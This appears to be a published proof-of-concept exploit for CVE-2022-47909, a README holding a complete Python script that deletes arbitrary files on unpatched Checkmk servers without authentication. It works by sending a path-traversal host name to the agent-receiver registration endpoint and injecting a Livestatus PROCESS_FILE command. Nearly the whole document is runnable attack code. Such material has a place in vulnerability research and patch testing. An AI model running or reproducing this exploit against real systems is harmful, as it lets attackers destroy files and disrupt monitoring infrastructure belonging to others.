README.md
Rendering markdown...
# Exploit Title: CheckMK - Unauthenticated Arbitrary File Deletion
# Date: 27-03-2023
# Exploit Author: Jacob Ebben
# Version: Checkmk <= 2.1.0p11, Checkmk <= 2.0.0p28, and all versions of Checkmk 1.6.0 (EOL)
# Tested on: CheckMK 2.1.0p10 - Official CheckMK Docker Image
# CVE: CVE-2022-47909
#!/usr/bin/env python3
import argparse
import requests
import urllib3
import string
import time
from termcolor import colored
from random import choice
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
def print_message(message, type):
if type == 'SUCCESS':
print('[' + colored('SUCCESS', 'green') + '] ' + message)
elif type == 'INFO':
print('[' + colored('INFO', 'blue') + '] ' + message)
elif type == 'WARNING':
print('[' + colored('WARNING', 'yellow') + '] ' + message)
elif type == 'ALERT':
print('[' + colored('ALERT', 'yellow') + '] ' + message)
elif type == 'ERROR':
print('[' + colored('ERROR', 'red') + '] ' + message)
class POC:
def __init__(self, target, port, filename, username, proxy):
self.exploit_url = f"https://{target}:{port}/cmk/agent-receiver/register_with_hostname"
self.filename = filename
self.username = username
self.password = self._generate_random_password(16)
self.proxies = self._get_proxies(proxy) if proxy else {}
self.session = requests.Session()
def confirm(self):
confirmation_message = f"Are you sure you wish to delete {self.filename}? (Y/n) "
confirmation_input = input('[' + colored('ALERT', 'yellow') + '] ' + confirmation_message)
return confirmation_input == "Y"
def exploit(self):
start_message = f"Accessing \"{self.exploit_url}\" and sending payload to delete \"{self.filename}\" ..."
print_message(start_message, "INFO")
json = {
"uuid": self._generate_random_uuid(),
"host_name": self._get_host_name_payload(self.filename)
}
result = self.session.post(
self.exploit_url,
auth=(self.username, self.password),
json=json,
proxies=self.proxies,
verify=False
)
ending_message = f"If the system is vulnerable, then \"{self.filename}\" should be deleted!"
print_message(ending_message, "SUCCESS")
def _get_host_name_payload(self, filename):
return f"../../../../ajax_graph_images.py?host={self._random_string(8)}&force_authuser={self._get_livestatus_query_injection(filename)}"
def _get_livestatus_query_injection(self, filename):
return "foo%0aKeepAlive:%20on%0a%0aCOMMAND%20[" + \
str(int(time.time())) + \
"]%20PROCESS_FILE%3b" + \
filename + \
"%3b1%0a%0aGET%20notexisting"
def _random_string(self, length=16):
return ''.join(choice(f"{string.ascii_letters}") for i in range(length))
def _generate_random_password(self, length):
return self._random_string(length)
def _random_hex_string(self, length=8):
return ''.join(choice("0123456789abcdef") for i in range(length))
def _generate_random_uuid(self):
return f"{self._random_hex_string(8)}-" + \
f"{self._random_hex_string(4)}-" + \
f"{self._random_hex_string(4)}-" + \
f"{self._random_hex_string(4)}-" + \
f"{self._random_hex_string(12)}"
def _generate_random_hash(self):
return self._random_hex_string(64)
def _generate_random_cookie(self, username):
return f"{username}:" + \
f"{self._generate_random_uuid()}:" + \
f"{self._generate_random_hash()}"
def _get_normalized_url(self, url):
if url[-1] != '/':
url += '/'
if url[0:7].lower() != 'http://' and url[0:8].lower() != 'https://':
url = "http://" + url
return url
def _get_proxies(self, proxy_url):
return {"https": self._get_normalized_url(proxy_url)}
def main():
parser = argparse.ArgumentParser(description="CheckMK - Unauthenticated Arbitrary File Deletion")
parser.add_argument('-t', '--target', required=True, type=str, help="ip or vhost of the CheckMK agent_receiver endpoint (Example: \"127.0.0.1\" or \"vulnerable.site\")"),
parser.add_argument('-f', '--filename', required=True, type=str, help="full path of filename that the CheckMK service has write permissions on"),
parser.add_argument('-u', '--username', default="automation", type=str, help='any valid username (Default: automation)'),
parser.add_argument('-p', '--port', default=8000, type=int, help='port of the agent_receiver endpoint (Default: 8000)')
parser.add_argument('-x','--proxy', default=None, type=str, help='http proxy address (Example: http://127.0.0.1:8080/)')
parser.add_argument("--force", action='store_true', help="skip confirmation request")
args = parser.parse_args()
exploit = POC(args.target, args.port, args.filename, args.username, args.proxy)
if args.force or exploit.confirm():
exploit.exploit()
else:
print_message("Exiting without exploitation ...", "INFO")
if __name__ == "__main__":
main()